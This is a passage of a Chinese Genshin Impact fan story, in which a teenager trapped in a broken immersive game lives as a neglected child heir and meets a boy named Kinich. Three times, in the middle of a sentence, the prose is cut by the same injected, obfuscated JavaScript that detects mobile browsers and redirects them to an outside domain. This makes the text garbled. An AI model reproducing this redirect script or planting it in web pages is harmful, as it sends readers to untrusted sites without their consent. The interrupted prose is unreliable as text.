《[原神]我与我的交易对象》 1. Chapter1 我自己也不知道为什么会变成这样。 总之,我本来是个高中生,这件事发生的时候,我刚好在独身公寓庆祝我的十七岁生日。爸妈从小不管我,他们各自有自己事实上的家庭,我只不过是一个维系名义的产物。没有爱情,所以也不会对我这个儿子有什么爱,最多也就是有些愧疚泛滥,定期给我打钱。 虽然我也无所谓。 我很喜欢玩游戏,那时候尤其对全息游戏着迷,于是我买了市面上所有的全息游戏舱。但这些游戏的主线大多同质化,一个个玩下去也觉得无聊。这个游戏舱是我最后一个试的。 这游戏舱外观看起来很奇怪,第一眼看上去像是一大团像素块。深深浅浅的墨绿色间杂着枯草土地般的黄褐色,如同浮动的溪河,在金属表面上流晃,不时折射出冷硬的光感。 我把手指搭在冰凉的游戏舱柄上,觉得还挺有意思。至少在做工上,它比前面的几十个要强上不少。于是,我抱着很大的期待,急急忙忙跑去锁好公寓门,随便啃了几口面包,便一把拉开舱门,躺了进去。 舱门检测到人体进入便缓缓合上了。我睁大眼睛,看向黑暗中唯一的光源。墨绿色混着黄褐色,色彩与光斑在我的周围旋转交合,慢慢覆盖整片视野。我有点晕,闭上了眼,一时隐隐约约听到周围响起的欢声笑语。 这游戏这么逼真吗,我想。 下一秒,察觉到周围的气息改变,我睁开了眼,眼中映出的却不是说明书上写的界面,而是一个完完整整、活灵活现的奇异世界。头顶上,巨大的翼龙飞过,投下一大片阴影。阴影中,数不清的褐色或绿色小型龙蹦来蹦去,有一些正在歪着头看我。两侧是高耸的悬崖,悬崖峭壁上挂着一些欢呼嚎叫、打扮奇怪的人,空出来的地方是无数色彩鲜艳、图案壮观的涂鸦画作。 ……看起来像是部落社会?连恐龙都出来了。 我站在峡谷的道路上,旁边是挑着奇奇怪怪果实的路人和背着个头极大萝卜的商人,他们正在激烈争论商品的价格。 怎么回事,没有系统界面和新手导引吗?我有些疑惑。 我在心里喊了一声游戏系统,很遗憾没有回应。我有种不好的预感。我又按说明书的流程,试了下强制退出游戏,好像还是没有用处。 好了,现在事情很清楚了。这个全息游戏应该是出故障了,需要从外界才能打开。但是很遗憾,我没什么朋友,父母也不会来看我,短时间应该不会有人发现我被困在游戏舱里了。现在只能等学校发现我缺课了。 唉,算了,反正暂时也死不了。全息舱是有营养供应的,一般不会死。只要我在游戏里不死,不作成脑死亡就行了。 于是我很快接受了现状,心里冷静下来。 我低头看了看自己的双手双脚。果然是这样,怪不得我看周围的人都是大个头,我还以为我穿梭到巨人的世界了,结果是我自己身材缩小了。 ……看样子,我现在的身体应该还是个幼童,大概六七岁的样子。身上穿的衣服倒是挺精致的,跟周围的这些人完全格格不入,大概我的身份是某个富贵人家的子弟。 我在原地呆了半天,也没有什么侍从或者父母来找我。我有点疑惑,富贵人家的孩子居然能在路上走丢吗? 我愣了一会才反应过来。 哦,如果没有系统设定界面的话,大概会默认为原始设定。换句话说,现在这个身份是完全根据我的原身做出的改编。不得不说,除却莫名其妙的故障不说,这个游戏做的还挺好的,竟然能根据几丝脑电波就捏出了个跟我身世一模一样的身份。连冷漠的父母都完完全全复制了下来。 没办法咯,得靠我自己。 我迈开脚步,逆着人流走向峡谷出口。远处的山脉上似乎是有一个聚落,这些人大概是住那儿吧。我一个短手短脚的,估计也跑不远,大概率也是住在那个聚落里,所以我打算先往那里走。 * 这路看的不远,走起来还是有些费劲。 现下应该是接近正午了,这个游戏世界里的太阳也很奇怪,看起来很高很远很小,但是洒下来的光却非常烫,走在路上感觉鞋都是热的。我抬手挡了挡太阳刺眼的光,顺势擦了擦额头上的汗。 太累了,先找个地方休息吧。 我扫视了一圈,看到远处有一处都是绿油油的植物群,心里松了口气。我沿着崖壁旁投射下来的逼仄的阴影,喘着气赶了过去。直到感觉到周围的温度低了点,我才自暴自弃地坐在了地上,揉了揉被汗水辣的有些疼的眼睛。 但凡现在有个系统,我都不至于这么狼狈。没记错的话,系统是有传送功能的。 “……这都是什么破事啊。”我抱怨道。 “需要帮忙吗?” 我被突然出现的声音吓了一跳。我回头一看,没有找到声音来源。 听起来像是个少年?只不过,他人在哪儿? “……我在这。” 我终于找到了声音的来源。那里,火辣的阳光被树叶割裂,细细碎碎地透过树木间的缝隙洒下来,光束的终点,一双苍绿色的眸子正目不转睛地看着我。 咦,好奇怪的眼睛。说是苍绿色好像还不太对。那双眼睛,中间是纯粹如夜空般的墨色,接着如同水墨画晕开一样,自中间的苍山延伸出一条条河流,苍绿色和黄褐色向眼眶周围放射,到眸尾的时候,几乎形成了晕轮,色彩在那里交融,溶于沉寂。 很漂亮,我不得不感叹。 见我盯着他的眼睛不动,他犹豫了一下,从层层叠叠的树丛中钻了出来。他的脸很稚嫩,大概跟我一样大吧,但是显然,他比我高出不少。他揽了揽身上布满补丁的衣服,拨开上面残留的枯枝树叶,走到我身前。 “你需要帮忙吗?” 他重复了一遍。 啧,还是个乐于助人的孩子。 像是看出了我即将脱口而出的谢谢,他又补了一句:“需要付出报酬。” 当我没说,这还是个小生意鬼。 “怎么个帮法。”我没好气地说。我太累了,懒得跟这小鬼纠缠,即使他有一双漂亮眼睛。 “我跟了你很久了,”他歪了歪头,“你要回去吧。” 他在询问我,但是语气却很笃定。 “跟踪人可不是个好习惯哦。”我低着头继续揉眼睛。 “这不重要,重要的是我可以给你一个好交易,”他向我伸出手,我这才看清他手臂上布满的伤疤痂痕,“我是基尼奇,我知道你家在哪里。” 我一时怔住了,这家伙,怎么把自己伤成这样的。 “……我怎么知道你是不是在骗我,也许你想把我引到某个地方抢钱呢。”开玩笑,我又不是个真的六岁孩子,他身上这么多疤,谁知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982063|161500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不是干坏事干多了被别人打的。更何况,我穿成这样,一看就很有钱。 基尼奇皱了皱眉,似乎在思考我的问题。半晌,他看着我,摇了摇头,语气笃定:“我不会这样,交易就是交易,我不会欠任何人的东西,更不会抢。” 我被气笑了,头一回见到这样自证清白的。 算了,看样子他是真的很蠢,一个小屁孩也坑不了我。 于是我握住他一直伸向我的手,“那你背我,我走不动了。” “可以,但是这是另外的价格。” 基尼奇拉着我站起来,然后背对着我蹲了下去。我把重量全压在他身上,多少带了点儿情绪,但是他却一声不吭地背起我就准备往前走。 他扯下路边的一颗芭蕉树叶,递给我,“你可以挡下阳光,看样子你很虚弱。” 虚弱个鬼,你才虚弱。我赌气般把芭蕉树叶扔在地上,“我不需要这种东西。” 基尼奇回头瞥了我一眼,没说什么,他只是捡起那片大叶子,抱在自己怀里。 你捡破烂的吗。我腹诽道。 基尼奇开始慢慢往前走。我们走出了绿荫,滚烫的阳光瞬间就侵袭了过来,我下意识把脸埋在基尼奇颈窝里躲光。他顿了一下,随即没什么反应地继续往前走。 我倒是一点也不害羞,反正我是雇主,物尽其用嘛。只不过即使是这样,后背还是被晒的发麻。 刚才平复的焦躁又蔓延上来,我有点想骂人。这鬼地方是沙漠吗。 正在我在心里给系统扎小人的时候,基尼奇把怀里的芭蕉叶递给了我,我愣了愣,但没有拒绝。芭蕉叶撑开,燥热的阳光被挡去,随之而来的有阴凉,也有基尼奇身上的味道,很好闻。 我颇为大方地把叶子分了他一半。 路途很长,我趴在他背上,能清楚地感受到这层薄薄的衣料下,是一具很有力的躯体,也是一具不该是他这个年龄就拥有的躯体。我安静下来,盯着他露出来的脖颈,那上面也有一道触目惊心的伤痕,似乎还很新。 我伸出手,把上面沾着的小叶子拨了下去。他似有所觉,后背随着呼吸短暂地起伏了一下,但最后也没说什么。 原来不只有我的父母不做人啊。这孩子估计也过得不太好——不对,应该是过得很不好,要不然也不至于弄出一身伤。 我们就这样一路无言地到达了目的地。 基尼奇在一处修饰得很好的宅子前停了下来,他弯腰把我放了下去,然后转身看着我。 我也看着他。 他皱了皱眉。 我笑了笑。真不禁逗,本来还想假装赖个账看他会怎么办的。我把腰旁系着的一大个荷包递给了他,说了声再见就准备回去。 他却喊住了我。 基尼奇抬眸看向台阶上的我,说:“你给的太多了。” 真稀奇,还有人嫌钱多的。见他准备还给我多余的部分,我摆了摆手。 我看着他奇异的眼睛,想了想,然后笑着说:“这并不多——你的帮助只是其中一部分,剩下的就当是感谢你让我看见了那么漂亮的眼睛。” 他愣了愣,抬起手摸了摸自己的眼睛,随后反应过来自己的动作似乎有些呆,便放下了手。他说:“你叫什么名字?” 我有点累了,不想回答他,转身进入屋里,“下回见面的时候,再告诉你吧。” 2. Chapter2 我家这宅子大概是位于整片城镇的中间地带。 它本身是靠着巨树建的,刚基尼奇送我过来的时候,隔着很远都能看见屋子尖顶上五颜六色的瓦片,还有实木墙壁上开阔气派的大窗子。这些装扮跟周围其他的帐篷式的小木屋完全不一样。 宅子外表看起来已经非常富贵了,踏入门槛,才发现里面更加夸张。 宅子背靠的巨树的中间竟然几乎都已经被挖空了,被整个纳入了宅子的内室空间。回环的廊柱支撑着头顶的巨大树干,走几步便能看见星火般明亮的木雕灯,映得整片巨树内部亮如永昼。风沿着巨树外围开出的圆形窗子吹进来,让屋内保持着一个舒适的温度。 我沿着门口的台阶慢慢向内走,刚刚被晒出来的燥热感也慢慢平息。我看着远处忙上忙下的一众佣人,站在原地没有动作。 有钱有权建造这么大的宅子,还雇佣了这么多人,看来我家还真不是一般的家庭。怪不得连基尼奇一个小屁孩都知道我住在哪。 “少爷。”几个佣人看见我,向我打了声招呼。 我点了点头,挑了其中一个看起来老实的,让他带我回我的房间。 那个佣人看起来很疑惑,似乎在为我回自己的房间还要人带路这件事感到疑惑。但没办法,我是主人,他只好挠挠头,把手中的事务交给别人,带我回去。 我观察了半天,发现他似乎不敢跟我说话,应该并不是很熟悉我,换句话说,他不是我的专属侍从——如果我有的话,所以作为贪玩的小少爷,我不认识他很正常。于是,我大胆地问道:“你叫什么名字?” 果然,他没什么犹豫,脱口而出:“我是达利也,少爷。” 看起来呆呆的。 于是,我胆子更大了,问他:“我的侍从呢?” 根据游戏的时代背景,作为富家少爷,肯定是有侍从的吧。 说罢,我紧盯着他的神色。他愣了愣,然后试探性地说:“您是说阿雅克吗?他被叫去帮族长大人处理文件了。” 说起这个名字的时候,他似乎有些敬畏。 族长?哦,我这身份还是个大家族的少爷,而且我的侍从看样子挺受重用和尊敬的。 我没有进一步问,一下子问太多他容易起疑心。 全息游戏,尤其是这种扮演类身份的,如果被游戏的NPC发现自己有问题,事情会变得很麻烦。毕竟,抛开全息游戏NPC极其智能真实不说,在全息系统的设定中,我的前六年也是在他们的眼前长大的,即使角色性格被设定和我一样,一些故事背景和个人经历我也不知道。 都怪这破系统闹故障,要不然我可以直接问它我的背景经历,而不是在这儿挤牙膏似的问一个NPC。 我们一直深入到巨树的另一端,达利也才停下来。他指了指最边缘的一个房间,恭敬地对我说:“少爷,那个就是你的房间。” 我点点头,示意他可以走了。我看了看周围的三个房间,心中有了种猜测。 最边上的是我的,大概率我跟现实中一样,父母不太管我,这种情况放在一个大家族中,应该叫做不受宠。我的父母大概率不会一起住,毕竟这两人偷偷摸摸在搞外遇,也没什么感情,所以他们肯定是分两个房间住的,甚至说,他们应该住的是三个房间中的两侧。 而这中间多出来的一间—— 我看了看周围,没什么侍从注意我,于是我理直气壮地步向中间的房间,一把推开了门,走了进去。 这个房间装饰得很好,虽然看上去算不上奢华,但仔细看去,该有的东西一应俱全。最值得注意的是,房间墙壁上挂了一排兽类的头骨。 熊,虎,狼,鹿,牛……几乎数不清种类,里面还有很多我不认识的动物。 我避开这些渗人的头骨,向中间摆着的木桌走去。那里摆着一张似乎写了什么东西的纸张。 我正准备去看内容,门突然开了。 我被吓了一跳,随即强装镇定地抬头,看向门口的青年男人。 那人穿着一身深蓝色的狩猎服装,脸颊上绘着对称的三道白色颜料。他靠着门,浅蓝色的眼睛看向屋内的不速之客。眼神中的情绪晦涩不明,但是我能感觉到他并不喜欢我。 我没有开口解释什么。他肯定不是我父亲,这个家里除了父母,没人比我地位高,所以我有权力等他先说话。 半晌,沙哑的嗓音传出来。 “少爷,”他缓缓站直身体,眯了眯眼,“这里好像不是你的房间吧。” 我有点心虚,硬着头皮说:“哦,我走错地方了。” “嗯?走错地方了?”他低低地笑了一声,“小少爷这么聪明还会犯这种错误吗。” 我感觉他话里有话,但是现在显然不是个深究的好时机。 于是,我清清嗓子,若无其事地走向门口,“我累了,就先回去了。” 跟他擦肩而过的时候,我听见他在耳边说:“伊迷,下次再有这样的事,我可不会再像今天这样温柔了。” 温柔?什么意思? 我顿住,看了他一眼。离近了才发现,那双浅蓝色的眼睛像极了见到猎物的狼。 我收回目光,匆匆忙忙踏出门,转身朝自己的房间走去,背后那道奇怪的目光直到我进门才完全消失。 关上门,我靠在门扉上,呼出一口气,脑子里冷静下来,开始复盘刚刚遇到的事情。 那个人手里拿的有资料,再结合之前达利也的话和恭敬的态度,他的身份应该很清楚了——阿雅克,我的侍从。 这一点在之前我看到这里有四个房间的时候,已经有些猜测了,现在只不过是验证。 但是,问题是,我的侍从即使受重用,也没有到能和主人住一样的房间的地步吧?而且就算主人大度,给了他很高的待遇,他作为侍从,不应该是住在我的房间旁边吗,可是他现在居然住在男主人和女主人的中间。 最关键的一点是,他对我的态度一点也不像侍从对主人的态度啊! 我有点烦。 这破游戏不仅复制了我的家世,甚至变本加厉地给我加上了一个难缠的侍从。 我又试了试强制退出的操作方法,还是没有任何回应。 没有办法,我只好继续过好眼前这个烂摊子。 我环视了一圈自己的小窝。房间收拾得倒是很干净,东西也都有,只是应该算不上是用心设计的,很多地方的摆置不适合六岁孩子,比如过高的桌子还有衣架,以我的身高用起来肯定非常不方便。 不过这也正常,毕竟是不受宠爱的小少爷,如果不上心,给再多东西也只是画蛇足式的做做样子。我也不是会撒娇会求助的人,所以那些不合适的东西上几乎没摆什么东西,看起来空荡荡的。 我移开目光,看向别处,随即感到有点无语。原来我小时候这么喜欢毛茸茸的东西吗。整个屋子几乎堆满了各种毛布娃娃,绿色的龙,黄色的龙,到处都是龙娃娃。 这么多龙……这个地方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982064|161500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的背景也会跟龙有关吗,我突然想到。 我拉开了屋子里的几个柜子,期待能找到什么有用的东西。 出人意料的是,柜子里并不是像外面一样,全是布娃娃,而是摆放着一套又一套崭新的小型装备,诸如弹弓、护腕、绳索还有箭头。 没人管的六岁小孩会喜欢玩这些吗?还是说,这是整个部族聚落里的风气使然? 我把这些翻出来的装备拿了一部分出来,底下的东西露了出来——一本彩绘连环画。 这连环画看起来是用天然颜料涂的,带有一种花草的味道。整本书泛着微微的黄,看起来有些年代。封面已经被磨损了,看不出来原来的文字是什么。 我看了眼屋门,确认房间锁好之后,把这本连环画小心翼翼地抽了出来。 翻开第一页,是一个男子。他戴着一副蒲叶和稻草编制的帽子,耳朵上应该是系了几串小彩绘狼牙,上半身赤裸,露出黝黑流畅的肌肉线条,心脏前挂着一颗翠绿色的宝石,下半身是绿色的喇叭裤。 旁边的文字注着[尤潘基,悬木人之祖]。 尤潘基应该是这个人的名字,悬木人是这个部族的名字吧。 那个男人正大笑着,露出洁白的牙齿,朝画面外的读者招手。 很有感染力的笑容,我心里暗自评价。 整个第一页都在着力描绘这个人的气质,那是一种乐观自由的氛围。他的背景中有很多模糊的人影,张着嘴似乎在欢呼。旁边的文字注着[为新任首领欢歌]。 接下来的几页就是典型的英雄叙事了,悬木人一族遭遇了寒冷的侵袭,而火焰又莫名其妙地点不着,于是新首领带领族人长途跋涉,到了一处悬崖边定居,以此暂时躲避寒潮。 此后,首领一人外出,历经千难万险,从某一个神秘洞穴里找到了神明的火种,带回部落使用。悬木人一族终于摆脱寒冷,走向光明,并纷纷效仿尤潘基的冒险行为,崇尚自由的极限运动。而尤潘基本人,在获得荣誉之后,也收获了爱情,过上了幸福美满的生活。 这个故事前半段倒是有点像改编的普罗米修斯。 我继续往下翻,翻到最后一页。我本来以为会看见什么大团圆的结局,结果上面突然出现了一大片血红色。我顿了顿,目光向后移。 [尤潘基得到了“回火”,因此收获了荣誉与幸福。但爱情令人智昏,他在平和的日子里,忘了“回火”的含义。] 绘本上,尤潘基笑着要出去打猎,结果不知道是不是由于对妻子的安全不放心还是舍不得,他在悬崖的尽头回头准备嘱咐。 下一秒,无边的炽热火焰从天而降,他的笑容凝固在了火场之中,化成了一团灰烬。 [这便是“回火”的含义,不论在什么情况下,咬定目标之后,即使身后有再珍贵的东西,也只能向前走,不能回头。] 我愣住了。 呃……什么东西? 如果连最珍贵的东西也无法回头保护,去实现那虚无缥缈的目标还有什么意义。 一时间,我甚至一瞬间觉得这本连环画的作者在耍它的读者——这最后一页直接将英雄叙事瞬间变成了劝诫守则。 我把连环画扔到一边,平复了下自己的心情。 从悬木人的始祖故事来看的话,似乎这个部落崇尚的更多是自由和冒险,而非简单的儿女情长。 我陷入思考,这样的话,也许主线会比较复杂。 明天去看看还有没有别的信息吧。 3. Chapter3 我心里记下了有用的信息,然后把连环画放了回去。 忙了这大半天,外面已经天黑了。透过巨树镂空的窗户,我看见下方城镇缓缓亮起的灯火,一盏盏尖顶帐篷如同萤火虫,在星空下闪烁。远处隐隐约约传来热闹的歌舞声,衬得我所在的这片宅子分外压抑寂静。 看样子,这一大家子应该没有一起吃晚饭的习惯。 我感觉有点饿,不知道是游戏的设定还是怎么回事,我饿得非常快,完全不像正常全息游戏里可以两三天不吃饭的设定。现在没有系统,也没办法直接用道具恢复饥饿值。只能老老实实地根据游戏世界,入乡随俗地吃饭,这样游戏舱内的营养才会获得许可输入我的体内。 我拉开房间门,一眼看见了在外面擦柱子的达利也。 “达利也。”我出声喊道。 达利也回头,发现是我后,他停下手中的动作,向我走过来。 “少爷,有什么事吗?” 我抬头看着他的眼睛,“今晚没有家宴的话,请你帮我叫些吃的上来吧。” “有家宴啊,老爷、夫人还有分家的各位都在那儿啊……”达利也挠了挠头,呆呆地说:“今天恰好是部族狩猎会,阿雅克在部族狩猎里大出风采呢,老爷说要犒劳他。” 说完他才反应过来,脸色不太好看,“阿雅克没有叫您吗?” 我有点无语,但又不知道说什么,只好保持沉默。 达利也从我的反应中得到了回答,他生气道:“阿雅克怎么能这样,身为侍从却不尊敬主人……” 他越说越气,看样子马上就要跑去家宴状告阿雅克。我揉了揉眉心,抬手打断了他的话:“算了,你去给我拿点吃的来就行了。” 他愣了愣,不可置信道:“您就这样算了?” 我看着他手舞足蹈的样子,忍不住笑了笑:“那还能怎么办?只是他一个人没喊我的话,那么多人难道看不见这家里唯一一个小少爷没到场吗?只是因为所有人都不想喊我而已。” 他呆住了。 我戳了戳他的衣摆,“再说了,我也不想和他们一起吃。好了,赶紧去给我拿饭吧,要饿死了。” “……好。”达利也反应过来,急忙朝厨房走去。 这个NPC似乎还能用一用,毕竟单靠一个六岁孩子,即使有着十七岁的脑袋,身体方面的限制还是难以保证我的安全,也很难去做一些别的事。尤其是在这样一个冷漠的家庭里,在旁边还住着一个处处透着怪异的侍从的情况下。 凡是全息游戏一定是有主线任务的。我不打算坐山吃空,等着游戏恢复正常,而是要主动出击。只要完成任务,游戏自动就会结束。 达利也很快端着满满一大托盘的食物上来了。 他看起来搬得很费力,但是走的还是很稳。我看着他把食物放在我房间里的桌子上,然后一样一样地摆好。 烤牛肉,蒸鹿肉,羊肉羹……他拿过来的几乎全是肉,看起来确实很想让我吃好点。 “谢谢。”我说。 他愣了下,随即不好意思道:“我是佣人,这是我应该做的,少爷您不用客气。” “叫我伊迷就好,不用少爷长少爷短的,听起来别扭。”我费力地坐上那个设置的并不合理的椅子,拿起勺子准备吃饭。 他皱了皱眉,然后跑向厅堂。没过一会儿,他搬来一套小桌子小椅子,放在房间的空处。 “这桌子也太高了,谁设计的……”他把饭移到了小桌子上,然后把我抱了下来,放在小椅子上,“伊迷少爷,您坐这里吃吧。我回头跟他们说改改。” 我都长到六岁了,你们才发现这件事吗。我腹诽道。 像是看出了我的嘲讽,他补充道:“少爷的东西都是亲身侍从置办的,看来是阿雅克没考虑好。” 哦,又是阿雅克,什么虐待恐吓孩子的邪癖狂。 我打断他的碎碎念,“你明天去跟老爷说,明天起你做我的亲身侍从,理由的话,就说阿雅克不派人跟着我,导致我走丢,这是我自己的决定。” 达利也梗住了,半晌才说:“哦,好,好。” 吃完了,我让他把东西收走,又想了想接下来的日子怎么办,然后就上床准备休息。 这还是我第一次在全息游戏里过夜,以前的全息游戏要么太简单,一天就通关了,要么太无聊,不想玩第二天,没想到我第一次坚持玩下来的游戏居然是这样的一个情况。虽然是被迫坚持下来的。 我看着镂窗外浩瀚的星空和流动的银河,不知道怎么就想到了一双和夜穹同样漂亮的眼睛——白天遇到的那个男孩的眼睛。 基尼奇,是叫这个名字吧? 不过如果他都不知道我的名字的话,说明他对我的性格和经历都不熟悉。这样的话跟他对话就不用怕人设崩坏。也许我能从他那儿入手,问问这个游戏的背景故事和我家世的相关事情。这么爱交易的话,不知道这个事情他肯不肯做。这种方法是现有的最快的得知信息的方法了。 ……还是有些冒险,还是先了解下他是什么样的人,确保他不会把我的提问和奇怪之处泄露再说吧。 想着想着,睡意袭来,我睡过去的那一刻,脑子里浮现的是那双色彩瑰丽的眼睛。 次日,我一起来就看见了门外的人影。 我还有点懵,眨了眨眼,出声:“谁啊?” “少爷,是我。”熟悉的憨厚声音透过门板传了过来,有些闷闷的。 哦,我还在游戏里,一想到这个我就开始烦。 “怎么了?” “我进来了,”达利也轻轻地推开门,走了进来,向我问好,“早上好,少爷。我在等您起床,给您送早饭呢。” 哦,我们学生早上都是不吃饭的。 我刚要拒绝,他就招呼人把丰盛的早饭抬了进来,放在小桌子上。我被迫把话咽了下去。 “少爷要多吃饭,要不然病不容易好啊。现在我是少爷的亲身侍从了,就不能像以前的阿雅克那样任由少爷不吃饭了。”他开始碎碎念。 原来亲身侍从这件事这么快就被父亲同意了吗?果真是不受宠啊。 我听他念的头疼,但还是捕捉到了其中的重要信息。原来这具身体还生病了吗。 我面上不动声色,云淡风轻地说:“我现在感觉挺好的,没什么病。” “虽然说最近看少爷的气色确实好了很多,”他把饭布置好,招呼我过去,“但巫师说这种病很难去除的,平时要好好养,这样胸口才不会经常疼。” 我撑着床沿起身,走到小桌子旁坐了下去,开始吃饭。 心脏病吗?我差点忘了这个全息游戏设置的背景应该是没有医学科技的,我猜应该是一种带有玄幻色彩的偏古代风格的架空时代。 又得知了一个坏消息。 我慢吞吞地吃完,跟达利也说了一声我要出去,他便帮我换好服装,跟我一起出了门。 “少爷想去哪?”达利也在嘈杂的人群中,不得不提高声音问我。 我想了想,“去逛街吧,我想买点东西。” 达利也应了一声,随即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982065|161500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走到我前面,拉着我的手为我开路。 他带着我来到了整个城镇最大的集市。 这里和之前在峡谷中看到的景象是一个风格,那里应该也是个集市,不过显然没有这个集市大。 游戏里这个地区的人们似乎都特别喜欢穿绿色的衣服,也特别喜欢光着胸膛。各式各样的摊子前摆着琳琅满目的商品,魁梧黝黑的男人们扯着嗓子拉客,女人们笑着为走过来的客人们热情地介绍每一件商品。这些人似乎都特别相熟,商家和客人有时还会拉家常。 我眼尖地看到一个书摊子,于是便拉着达利也走了过去。 这个书摊子开在闹市里,肯定不会卖特别专深的书,它的商品一定主要是一些通俗读物。而现在,我最需要的就是通俗作品,这些面向底层大众的书一定是蕴含民间传说和习俗文化最多的书。 果不其然,那里摆着许多印刷算不上好但种类非常全的小册子。 老板娘看见我过来了,连忙问:“老乡,咱这儿书全乎得很呐!啥书都有,你是想看那种打打杀杀的武侠书,还是男男女女谈恋爱的说情书?要么是讲以前老故事的历史书?” 我一时没反应过来她在说方言,旁边的达利也就接过话跟她聊了起来,好让我能自己看看想要什么。 《古名!少年的冒险!》《悬木人之王》《纳塔都市怪谈》《飞车历险记·科技篇》…… ……这些书的名字也太奇怪了,看起来总有点文化大乱炖的感觉。还有这些书的内容,连科技都有了,怎么医生的事情还是巫师来干。我一时有点摸不清楚这个游戏的创作者到底把这个游戏的背景设置在哪了。 没办法,我大手一挥,示意老板把里面看起来有用的全都包起来。老板娘喜滋滋地去包装了。 达利也没觉得我的行为有什么不对,少爷感兴趣的话,出手阔绰点也没什么。 老板娘包好了,放在一个小车上,推给达利也。接着,她拿出一个疑似计算器的东西,按了几下,然后抬头,眉开眼笑,“客人呐,搁一起是十万八千摩拉,收十万就可啦!” 我昨天检查钱包的时候已经发现了,这里通货膨胀严重,所以十万摩拉大概也就是一千元左右的样子。我买的书很多,其实平摊下来也不贵。 我点点头,准备去掏钱包。 ……等等,钱包呢? 草!钱包全给基尼奇了! 我有点尴尬,急忙给达利也使眼色。达利也看懂了我的暗示,摸了摸自己的钱包,然后讪讪地看向我。 完了,他的钱也不够。 老板娘看看我,又看看达利也,总算明白了什么。她狐疑地说:“恁几个是不是兜里没钱付账嘞?” 她看起来有点生气,毕竟那么多书都包好了。 我硬着头皮对达利也说:“要不然我先呆在这里,你回去拿钱。” 达利也点点头,嘱咐我不要乱动。他刚要走,一双手按住了他的肩。接着,我听到他的背后传来一声熟悉的嗓音:“不用回去拿。” 我愣了愣,转头看去。 那双昨晚出现在梦里的瑰丽眼睛映入眼帘。 基尼奇把一堆摩拉递给老板娘,然后看着我:“我们又见面了。” 我捂脸,这种情况下见面也太尴尬了。尤其是昨天我还大手一挥,用一大包摩拉换了一次调戏基尼奇眼睛的机会。 所幸,基尼奇没有嘲笑我。 嘈杂的叫卖声中,他只是用初次见面时那种认真而又冷淡的眼神看着我,说:“现在可以告诉我你的名字吗?” 4. Chapter4 被这样一双奇异的眼睛专注地看着,真的是一种奇妙的感觉。 我一时间忘了刚刚没钱付账的尴尬,凑近了一下,想仔细研究下基尼奇的眼睛。 他睫毛真长啊。 特别像我小时候出去疯跑时,路边茂盛的野草,微微下垂的时候,恰好就敛住了那双比例和弧度都很完美的眼睛。此刻,周围的喧嚣与风尘倒映在他如色彩漩涡般的眼眸中,如同另外一个世界一样,如此真实,如此诡谲。 怎么说呢,这样一双鲜艳的眼眸配上这样冷淡单纯的目光,真的有一种强大的张力和表现力。身为一个钟情游戏的人,我再一次感叹于游戏画师和建模师的天才。 ——虽然这破游戏的故障导致我被困出不去。 正在我欣赏的时候,他突然退后了一步,疑惑地看向我:“你在看什么?” 我回过神,垂头摆摆手,“没什么,就是站久了有点累,稍微恍了下神。” 他显然没接受我的说法,“你的眼神就像是在欣赏物件。” 我惊讶于他的敏锐,不知道该说什么来回答他。 这时,从刚才起就看着我和基尼奇的互动的达利也开口了:“……少爷,这位是?” 我在心里表扬达利也的及时救场,顺水推舟地说:“这位是基尼奇,他……呃,他是我的朋友。” 我卡壳了,因为我不知道怎么介绍他。我的交易对象?我的引路人?不管哪一个听起来都好怪,所以我选了一个最保险也是最模糊的词——朋友。 对现代人来说,什么人都能叫做朋友,这是社交场合中最常用的一个词。只要是在虚浮的社交漩涡里有了几面之缘,或是在网络上有了只言片语的交集,那“朋友”二字便脱口而出,毫不吝啬。 我本来是这样想的。直到我看见基尼奇听见这两个字后,突然顿住,然后眼神变得奇怪,直勾勾地看向我。 他怎么了?我有点疑惑。 “哦!少爷的朋友啊!”达利也拍了拍基尼奇的肩膀,“钱之后我会拜托佣人给小兄弟送去!多谢今天的救场咯!” 基尼奇似乎是被拍回神了,他垂下了头,额前的碎发投下的阴影使那双绿眸中的情绪被尽数隐藏起来,让我无法进一步探究。 半晌,他简单地“嗯”了一声。 “不用谢。” 我见状笑了笑,有样学样地拍了拍基尼奇的肩膀:“下回请你吃饭!” 掌心触及的手感很不错,是独属于少年身体的那种蓬勃的力量,就像是浸满阳光的蒲苇。 另一边,老板娘清点完摩拉,脸上的愠怒就变为笑容,把那辆装满书的小推车重新交给达利也。 我招呼达利也把小推车拉走,然后指挥他往家的方向走。走开一段距离后,我才突然想起来还没回答基尼奇开头的问题,于是我回头,隔着人群朝着还站在原地的基尼奇喊道:“基尼奇,我的名字是伊迷!” 他看着我,张了张嘴,似乎念了一句话。 但是人群很喧闹,我听不见他说了什么。 